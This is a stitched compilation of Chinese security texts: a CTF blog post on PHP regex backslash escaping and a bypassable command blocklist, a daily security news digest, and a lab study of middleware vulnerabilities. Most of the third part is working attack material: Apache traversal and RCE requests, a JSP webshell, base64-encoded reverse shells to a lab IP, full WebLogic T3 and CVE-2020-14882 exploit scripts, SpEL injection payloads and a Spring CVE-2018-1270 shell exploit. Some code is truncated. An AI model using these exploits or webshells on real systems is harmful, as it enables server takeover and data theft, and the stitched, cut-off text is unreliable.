关于转义符 \ 在php正则中的匹配问题
今天做题遇到一个很经典的问题,记录一下,先看一段代码
<?php
$str,=,"\\";
$pattern,=,"/\\/";
if(preg_match($partern,$str,$arr))
{
,,,,echo,"success";
,,,,print_r($arr);
}else{
,,,,echo,"false";
}
看到这段代码的师傅们,思考一下,会输出success还是false
输出false,正则没有被匹配到,为什么呢?
php对转义符的解析
php解析正则时分为了两个步骤,一个是php对字符串的解析,之后才是对正则的解析,那么php在解析字符串时什么时候才会将\解析为转义呢?只有在某一字符会对这一语句产生混淆时,php才会将\解析为转义。
分析一个正则匹配
首先php对字符串进行解析:
在这种情况下可以看到str中\并没有被当成转义符
而在pattern中,由于有多个\并且在正则表达式中存在/,会混淆正则表达式的边界,因此这四个转义符的作用分别是:
第一个转义符转义第二个转义符
第三个转义符转义第四个转义符,第五个转义符转义/
因此php最终解析出的str为,\/,pattern为,\\/
到preg_match时,进行正则解析(正则解析只解析正则表达式):
将pattern中的,\\/,解析为\/,(第一个转义符转义了第二个转义符)
经过php和正则的解析后,我们可以发现str与pattern是一样的字符串了,所以应该会输出success,并且匹配到的部分为\/
验证成功
这里提出一个问题,如果在pattern中,我的正则内容中不想使用\来转义/,并且还想输出success,那应该怎么修改正则内容呢?
我们刚才提到,转义是为了防止语句中的字符产生混淆,/与正则边界产生了混淆,所以我们用其他的字符作为边界就好了,比如#
总结:在一般情况下,只有字符串中的某一字符会对该语句产生混淆,这时该符号前的\才具有转义作用。
这里我在做测试有一个小坑
首先php的字符串解析:可以看到由于字符串中并没有可能会产生混淆语句的字符,因此\都没有转义作用。
正则进行解析(只解析正则表达式,不解析其他字符串):pattern中的\/被解析成了/,
因此最终的正则匹配是在字符串\/中匹配/,因此输出了/
这里我一开始以为str中的\也发挥了转义作用,其实并不是。
回到最初的问题,为什么输出了false
<?php
$str,=,"\\";,
$pattern,=,"/\\/";,,
if(preg_match($partern,$str,$arr))
{
,,,,echo,"success";
,,,,print_r($arr);
}else{
,,,,echo,"false";
}
按照上面的流程分析,
首先php进行字符串解析:
str被解析为\,pattern被解析为\
进行正则表达式解析:
pattern中含有转义符\,现在正则需要这个转义符去发挥转义作用,但在正则表达式中已经没有其他字符去转义了,导致了正则表达式的解析错误,pattern最终被解析成了什么我们也不知道
所以最终在进行正则匹配时会输出false
那么我们应该怎么让它输出success呢?
php正则如何正确匹配\
刚才我们提到在正则解析时只剩下了一个\,导致了解析的错误,那么如果我们在正则解析这步剩下两个\是不是就可以在正则解析中保留下一个\呢?再往前推,如果想要正则解析这步里保留两个\,那么在定义partern字符串的时候我们是不是要写四个\才可以?
具体的解析过程我就不讲了,跟上面是完全一样的。
总结:php在正则中匹配\时需要在正则表达式中写入四个\
一道ctf题的分析
题目来源:[安洵杯,2019]easy_web,wp移步主页查找,如果没有就是还没写完。
if,(preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i",,$cmd)),{
,,,,echo("forbid,~");
在这一段代码中对传入的cmd命令进行了过滤,并且可以看到其中有四个反斜杠,对\做出了过滤,但最后仍然可以用反斜线逃逸,ca\t,l\s执行命令,这是为什么呢?
按照我们上面所说的进行分析,首先php对字符串进行解析:
\\被解析为\
\\\\,被解析为\\
经过字符串解析,原本的|\\|\\\\|,变成了|\|\\|
正则表达式解析:
第一个\|被解析为|
\\被解析为\
经过两次解析后,最终的正则表达式变成了||\|,所以实际上是对|\进行了过滤,所以就可以使用\进行绕过了。
因此解决的办法是在正则过滤中不要添加\\这一项,会导致整个正则表达式直接变味。
这里跟着原帖看发现原帖说的有点问题,自己思考了一下做出了一些猜想,发现是正确的。
还有原帖中提到的一个问题,这里为什么随便一个字符串甚至是空都可以匹配成功,因为在|\\\\|的左右两边没有东西,为空,所以随便匹配都可以匹配到。
解决方法就是两边加上东西就可以了。
自己的小感想
这道题在网上的wp基本都是直接用\去执行命令,但很少有人能去讨论为什么可以这么绕过,后端代码已经做出了过滤,为什么还是会被绕过,我很幸运能够看到更深的分析,这也是我第一次自己有独立的想法去不断的调试代码,虽然每一次看到其他大佬wp里不合理的地方感觉很迷茫,但是还找不到理由,但是经过不断的调试发现有些其他大佬的东西也不一定就都是对的,而且自己不断调试后找到问题有一种说不出来的成就感,总结起来就是看问题要深入,有耐心。引用原帖的一句话就是
网络安全日报 2024年04月09日
1、攻击者通过虚假的NordVPN传播恶意软件SecTopRAT
https://www.malwarebytes.com/blog/threat-intelligence/2024/04/bing-ad-for-nordvpn-leads-to-sectoprat 研究人员通过必应搜索引擎搜索“nord vpn”时,发现了一个冒充NordVPN的恶意广告,该虚假网站看起来与被冒充的官方网站相同。下载的文件名称为NordVPNSetup.exe并经过数字签名,但是签名无效。该文件包含NordVPN的安装程序和恶意软件有效负载。NordVPN的安装程序旨在让受害者产生一种错觉,让他们认为正在安装一个真实的程序。恶意软件的有效负载被注入至MSBuild.exe
2、HTTP/2协议漏洞可导致拒绝服务攻击
https://www.bleepingcomputer.com/news/security/new-http-2-dos-attack-can-crash-web-servers-with-a-single-connection/ 名为“CONTINUATION Flood”的HTTP/2协议漏洞可导致拒绝服务(DoS) 攻击,在某些实现中使具有单个TCP连接的Web服务器崩溃。研究人员称,该漏洞与HTTP/2 CONTINUATION帧的使用有关,这些帧在协议的许多实现中都没有得到适当的限制或检查。研究人员称,在某些实现中,内存不足的情况可能会导致使用单个HTTP/2 TCP连接的服务器
3、电子商务平台Magento中存在安全漏洞
https://cybersecuritynews.com/magento-backdoor-injection/ Magento电子商务平台中的一个安全漏洞已被揭露,该漏洞被识别为CVE-2024-20720,允许攻击者将持久的后门注入Magento服务器,从而危及电子商务网站的安全性。已发现攻击者将恶意XML代码插入layout_update数据库表中,然后在客户每次访问结账购物车时执行该表。执行的特定命令用于向CMS控制器添加后门,确保即使在手动修复或系统重新编译后也能重新注入恶意软件。
4、Vmware修复VMware SD-WAN中的多个安全漏洞
https://cybersecuritynews.com/vmware-sd-wan-vulnerabilities/ VMware修复了影响VMware SD-WAN的多个安全漏洞,这些漏洞允许攻击者在目标系统上执行任意命令。相关漏洞被标记为CVE-2024-22246、CVE-2024-22247和CVE-2024-22248。VMware已针对这些漏洞进行修复,因此,VMware强烈建议使用VMware SD-WAN的用户立即使用可用的修复程序进行安全修复。
5、攻击者声称物流公司XpressBees的数据泄露
https://cybersecuritynews.com/claiming-xpressbees-data-leak/ 物流公司XpressBees成为数据泄露的最新受害者,名为“IntelBroker”的用户在黑客论坛中声称对该泄漏负责,据称该泄漏暴露了多达95000名用户的个人信息。泄露的数据包括可能被滥用于身份盗用、金融欺诈和其他恶意活动的敏感个人信息。虽然泄露数据的细节尚未完全披露,但黑客通常会在此类违规行为中获取姓名、地址、电子邮件地址、电话号码,有时甚至是信用卡详细信息或银行帐号等财务信息。损坏的程度仍在评估中,XpressBees尚未确认泄露数据的确切性质。
6、家得宝确认其员工数据泄露
https://www.bleepingcomputer.com/news/security/home-depot-confirms-third-party-data-breach-exposed-employee-info/ 一个名为IntelBroker的攻击者在一个黑客论坛上泄露了大约10000名家得宝员工的数据。家得宝(Home Depot)确认了此次事件,称第三方软件即服务(SaaS)供应商在测试其系统期间无意中公开了家得宝员工的姓名,工作电子邮件地址和用户ID的一小部分样本。虽然这些数据不是高度敏感的,只暴露了公司 ID、姓名和电子邮件地址,但威胁行为者可能会使用它对Home D
7、Rhadamanthys 针对石油和天然气行业发起网络钓鱼攻击
https://www.freebuf.com/news/397145.html 近日,有黑客利用一种名为 Rhadamanthys 的信息窃取恶意软件发起网络钓鱼活动,专门针对石油和天然气行业。Cofense研究员 Dylan Duncan 表示:这些钓鱼邮件使用了比较独特的车辆事故作为“诱饵”,并在感染链的后期阶段,用一个PDF文件诱骗联邦运输局,其中提到了对事故的巨额罚款。
8、美国环境保护局遭黑客攻击,850万用户数据泄露
https://www.freebuf.com/articles/397144.html 据hackread网站消息,美国环境保护局(EPA)近期遭遇了一起重大的数据泄露事件。此次事件可能由一名被称为USDoD的黑客所为,涉及超过850万用户(包括客户和承包商)的个人敏感信息外泄,引发了对身份盗用、网络间谍活动以及环境报告产生的不良影响的担忧。
9、YouTube 被用于传播恶意软件
https://cybernews.com/security/youtube-used-to-distribute-malware/ 网络安全公司 Proofpoint 警告称,信息窃取恶意软件正在以盗版软件和视频游戏破解的“幌子”通过 YouTube 传播。该公司在调查后透露,包括 Vidar、StealC 和 Lumma Stealer 在内的恶意软件已以视频游戏破解的形式在 YouTube 上传播。
10、Facebook、Instagram将显著标记由AI生成的音视频内容
https://www.freebuf.com/news/397077.html Meta于4月5日宣布将对旗下Facebook 和 Instagram平台上的数字创建和更改媒体政策进行调整,以遏制在美国大选前利用人工智能进行的深度伪造内容传播。据Meta内容政策副总裁莫妮卡-比克特(Monika Bickert)透露,这一政策将从今年5月起生效,其平台上发布的由人工智能生成的视频、图片和音频将被打上相应的标签,以进行显著区分。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
中间件漏洞攻防学习总结
前言
面试常问的一些中间件,学习总结一下。以下环境分别使用vulhub和vulfocus复现。
Apache
apache 文件上传 (CVE-2017-15715)
描述: Apache(音译为阿帕奇)是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。 此漏洞的出现是由于 apache 在修复第一个后缀名解析漏洞时,用正则来匹配后缀。在解析 php 时 xxx.php\x0A 将被按照 php 后缀进行解析,导致绕过一些服务器的安全策略
说明是黑名单绕过使用编码器,在php后面加0a这里加a是方便修改0a
apache httpd解析漏洞
查看配置文件grep -rn "x-httpd-php"改漏洞存在的主要原因是这个配置文件的原因
Apache SSI 远程命令执行漏洞
在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用<!--#exec cmd="id" -->语法执行任意命令。有限制,影响版本是apache全版本,支持SSI与CGI默认的扩展名是.stm、.shtm 和 .shtml
CVE-2021-41773 目录穿越
Apache HTTP Server2.4.49、2.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到Web目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。符合版本payload curl -v --path-as-is http://192.168.48.144:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
CVE-2021-42013 RCE&目录遍历&文件解析
apache HTTP Server2.4.50 中针对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则这可能允许远程代码执行。此问题仅影响 Apache2.4.49 和 Apache2.4.50,而不影响更早版本POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1Host: 192.168.48.144:8
echo;id
Tomcat
CVE-2017-12615 文件上传
当存在漏洞的Tomcat运行在Windows/Linux主机上, 且启用了HTTP PUT请求方法( 例如, 将readonly初始化参数由默认值设置为false) , 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限这里存在PUT任意文件上传漏洞但是值得一提的是这里有个细节,org.apache.jasper.servlet.JspServlet:默认处理jsp,jspx文件请求,不存在PUT上传逻辑,无法处理PUT请求org.apache.catalina.s
<%if("666".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>
/绕过%20绕过xxx.jsp::$DATA绕过冰蝎马连接
CVE-2020-1938 文件包含
ApacheTomcat AJP协议(默认8009端口)由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp目录下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。漏洞影响的产品版本包括:Tomcat6.*Tomcat7.<7.0.100Tomcat8.<8.5.51Tomcat9.*<9.0.31使用这个脚本CNVD-2020-10487-Tomcat-Ajp-lfi.pyhttps://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfipython2 CNVD-20
tomcat弱口令getshell
这里弱口令地点在这个manager这里尝试tomcat/tomcat使用哥斯拉生成jsp马,然后压缩zip,修改文件名war在这里上传这里多个目录,地址请求/1/1.jspwebshell连接
weblogic
Weblogic是Oracle公司推出的J2EE应用服务器。探针默认端口:7001推荐工具https://github.com/KimJun1010/WeblogicTool/
weblogic ssrf(CVE-2014-4210)
weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。影响版本Oracle WebLogic Server 10.3.6.0Oracle WebLogic Server 10.0.2.0http://192.168.48.144:7001/uddiexplorer/ 未授权访问ssrf payload/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Bus
weblogic 反序列化(CVE-2017-10271)
描述: Oracle Fusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。 Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。该漏洞的原因主要是XMLDecoder解析用户的XML的数据
weblogic 反序列化(CVE-2018-2628)
该漏洞通过T3协议触发,可导致远程命令执行漏洞影响版本
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3
什么是T3协议?T用于在Weblogic服务器和其他类型的Java程序之间传输信息的协议。Weblogic会跟踪连接到应用程序的每个Java虚拟机,要将流量传输到Java虚拟机,Weblogic会创建一个T3连接。该链接会通过消除在网络之间的多个协议来最大化效率,从而使用较少的操作系统资源。用于T3连接的协议还可以最大限度减少数据包大小,提高传输速度http://192.168.48.144:7001/ 访问7001端口,也是这个页面,类似springboot,可以用这个作为weblogic的特征
bash -i >& /dev/tcp/192.168.48.144/6677 0>&1YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82Njc3IDA+JjE=
java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82Njc3IDA+JjE=}|{base64,-d}|{bash,-i}'CVE-2018-2628 EXP
from __future__ import print_function
import binascii
import os
import socket
import sys
import time
def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
#generates ysoserial payload
command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
print("command: " + command)
os.system(command)
bin_file = open('payload.out','rb').read()
return binascii.hexlify(bin_file)
def t3_handshake(sock, server_addr):
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
sock.recv(1024)
print('handshake successful')
def build_t3_request_object(sock, port):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c6545
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
time.sleep(2)
print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))
def send_payload_objdata(sock, data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c00007870
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e74657
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
time.sleep(2)
sock.send(payload.decode('hex'))
res = ''
try:
while True:
res += sock.recv(4096)
time.sleep(0.1)
except Exception:
pass
return res
def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(65)
server_addr = (dip, dport)
t3_handshake(sock, server_addr)
build_t3_request_object(sock, dport)
payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
print("payload: " + payload)
rs=send_payload_objdata(sock, payload)
print('response: ' + rs)
print('exploit completed!')
if __name__=="__main__":
#check for args, print usage if incorrect
if len(sys.argv) != 7:
print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
'[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
sys.exit()
dip = sys.argv[1]
dport = int(sys.argv[2])
path_ysoserial = sys.argv[3]
jrmp_listener_ip = sys.argv[4]
jrmp_listener_port = sys.argv[5]
jrmp_client = sys.argv[6]
exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
weblogic 未授权RCE(CVE-2020-14882)
漏洞影响版本Oracle Weblogic Server 10.3.6.0.0Oracle Weblogic Server 12.1.3.0.0Oracle Weblogic Server 12.2.1.3.0Oracle Weblogic Server 12.2.1.4.0Oracle Weblogic Server 14.1.1.0.0payload 未授权访问后台http://192.168.48.144:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsContro
http.client.HTTPConnection.http_vsn = 10http.client.HTTPConnection.http_vsn_str = 'HTTP/1.0'
requests.packages.urllib3.disable_warnings()
#功能1方法:回显命令执行。def command(url_cmd,headers_cmd,url): try: res = requests.get(url_cmd, headers = headers_cmd,timeout = 15, verify = False) if "<html" not in res.text and "<TITLE" not in res.text : print ("[+] Command success result:") print (res.text)
else:
print ("[-] " + url + " not vulnerable or command error!")
except Exception as e:
#print (e)
print ("[-] " + url + " not vulnerable or command error!")
#功能2方法:无回显,命令执行,适用于Weblogic 10.x、12.x。def weblogic_12(url_cmd,post_12,headers_12): try: res = requests.post(url_cmd, data = post_12, headers = headers_12,timeout = 15, verify = False) #print ("[+] Attack complete!") except Exception as e: print ("[+] Attack complete!")
def main(): banner = """ ___ ___ _ _ _ _ __ _ _ _ _ _ / __\ \ / / | |__ \ / _ _ \ / _ \ /_ | || | / _ \ / _ __ \ | | \ \ / /| |_ __ ) | | | | ) | | | |__| | || || () | () | ) || | \ \/ / | |_/ /| | | |/ /| | | |_| | _> _ < > _ < / / | | \ / | | / /| || / /| || | | | | || () | () / / _| \/ |__| ||_/_
Author:GGyao
Github:[https://github.com/GGyao](https://github.com/GGyao)
"""
print (banner)
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="Target URL; Example:http://ip:port。")
parser.add_argument("-f", "--file", help="Target File; Example:target.txt。")
parser.add_argument("-c", "--cmd", help="Commands to be executed; ")
parser.add_argument("-x", "--xml", help="Remote XML file; Example:[http://vpsip/poc.xml;](http://vpsip/poc.xml;) ")
args = parser.parse_args()
#功能1:命令回显。
if args.url != None and args.cmd != None:
url = args.url
url_cmd = args.url + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentW
headers_cmd = {
'User-Agent':'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',
'cmd':args.cmd,
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Content-Type':'application/x-www-form-urlencoded'
}
#post_cmd = """_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandle
#command(url_cmd,post_cmd,headers_cmd,url) command(url_cmd,headers_cmd,url)
#功能2:weblogic 12.x命令执行。
if args.url != None and args.xml != None:
url_cmd = args.url + '/console/images/%252e%252e/console.portal'
headers_12 = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Content-Type':'application/x-www-form-urlencoded'
}
post_12 = """_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22{}%22)""".format(args.xml)
weblogic_12(url_cmd,post_12,headers_12)
# 功能3:回显命令执行批量。
if args.file != None and args.cmd != None:
#print (1)
for File in open(args.file):
File = File.strip()
url_cmd = File + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(
print ("[*] >>> Test:" + File)
url = File
headers_cmd = {
'User-Agent':'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',
'cmd':args.cmd,
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Content-Type':'application/x-www-form-urlencoded'
} #post_cmd = """_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHand
command(url_cmd,headers_cmd,url)
if name=="main": main():::python3 CVE-2020-14882.py -u http://192.168.48.144:7001 -c "whoami"
weblogic RCE (CVE-2023-21839)
漏洞介绍CVE-2023-21839是Weblogic产品中的远程代码执行漏洞,由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功可能会导致Oracle Weblogic服务器被控制,远程注入操作系统命令或代码。java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.48.144使用工具进行攻击下载地址https://github.com/DXask88MA/Weblogic-CVE-2023-21839ja
weblogic weak_password
该漏洞复现过程为通过任意文件读取其密文和加密的密钥文件进行破解,然后用得到的密码进行登陆,利用后台文件上传进行getshell复现过程任意文件读取payload hello/file.jsp?path=SerializedSystemIni.dat 二进制文件是密钥config.xml 是密文weblogic密码使用AES加密,老版本使用的是DES。需要找到密钥即可对密文进行解密这里利用任意文件读取漏洞对密钥和密文进行读取/hello/file.jsp?path=security/SerializedSystemIni.dat这里复制到文件/hello/file.jsp?path=config
浅浅总结下,weblogic特征404页面。/console可访问登陆,进后台管理可以通过war包上传getshell,有xmldecode反序列化和T3协议反序列化,存在SSRF漏洞打内网漏洞
spring
spring框架Spring是一个轻量级Java开发框架,最早有Rod Johnson创建,目的是为了解决企业级应用开发的业务逻辑层和其他各层的耦合问题。它是一个分层的JavaSE/JavaEE full-stack(一站式)轻量级开源框架,为开发Java应用程序提供全面的基础架构支持。Spring负责基础架构,因此Java开发者可以专注于应用程序的开发。springboot框架介绍SpringBoot是一个快速开发的框架,能过快速整合第三方框架,他是如何快速整合的呢?其实他是的基本原来是Maven依赖关系,Maven的集成,完全采用注解化,简化XML配置,内嵌HTTP服务器(Tomcate,
敏感信息泄露漏洞
这里直接上工具扫就行https://github.com/AabyssZG/SpringBoot-Scan工具使用 python3 SpringBoot-Scan.py -u "http://192.168.48.133:8080/%22 信息泄露 python3 SpringBoot-Scan.py -v "http://192.168.48.133:8080/%22 漏洞利用
Spring-security-oauth(CVE-2016-4977)
影响版本Spring Security OAuth 2.3到2.3.2Spring Security OAuth 2.2到2.2.1Spring Security OAuth 2.1到2.1.1Spring Security OAuth 2.0到2.0.14payloadadminadminhttp://192.168.48.133:8080/oauth/authorize?response_type=$%7B3*3%7D&client_id=acme&scope=openid&redirect_uri=http://test&&&response_type参数值会被当做Spring SpEL
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)
${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).c
Spring WebFlow远程代码执行(CVE-2017-4971)
Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。影响版本Spring WebFlow 2.4.0 - 2.4.4http://192.168.48.133:8080/hotels/1这里有默认的账号密码登陆后点击confirm抓包漏洞触发点在这里payload构造&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>&+/dev/tcp
Spring Data Rest 远程命令执行漏洞复现(CVE-2017-8046)
漏洞原理Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码payload其中数字的构造payload = b'touch /tmp/success'bytecode = ','.join(str(i) for i in list(payload))print(bytecode)
PATCH/customers/1HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: /Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/json-patch+jsonContent-Length: 202
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]
反弹shellbash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82NjY1IDA+JjE=}|{base64,-d}|{bash,-i}98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,81,52,76,106,69,48,78,67,
Spring CVE-2018-1270
影响版本Spring Framework 5.0 to 5.0.4Spring Framework 4.3 to 4.3.14EXP利用
#!/usr/bin/env python3import requestsimport randomimport stringimport timeimport threadingimport loggingimport sysimport json
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
def random_str(length):letters = string.ascii_lowercase + string.digitsreturn ''.join(random.choice(letters) for c in range(length))
class SockJS(threading.Thread):def init(self, url, args, **kwargs): super().init(args, *kwargs) self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}' self.daemon = True self.session = requests.session() self.session.headers = { 'Referer': url, 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.
def run(self): url = f'{self.base}/htmlfile?c=_jp.vulhub' response = self.session.get(url, stream=True) for line in response.iter_lines(): time.sleep(0.5)
def send(self, command, headers, body=''): data = [command.upper(), '\n']
data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
data.append('\n\n') data.append(body) data.append('\x00') data = json.dumps([''.join(data)])
response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data) if response.status_code != 204: logging.info(f"send '{command}' data error.") else: logging.info(f"send '{command}' data success.")
def del(self): self.session.close()
sockjs = SockJS('http://你的靶机IP:8080/gs-guide-websocket')sockjs.start()time.sleep(1)
sockjs.send('connect', {'accept-version': '1.1,1.0','heart-beat': '10000,10000'})sockjs.send('subscribe', {'selector': 'T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/你的kaliIP/kali监听端口;cat <&5 | while read line; do $line 2>&5 >&5; done"})','id': 'sub-0','desti
data = json.dumps({'name': 'vulhub'})sockjs.send('send', {'content-length': len(data),'destination': '/app/hello'}, data)
反弹shell成功
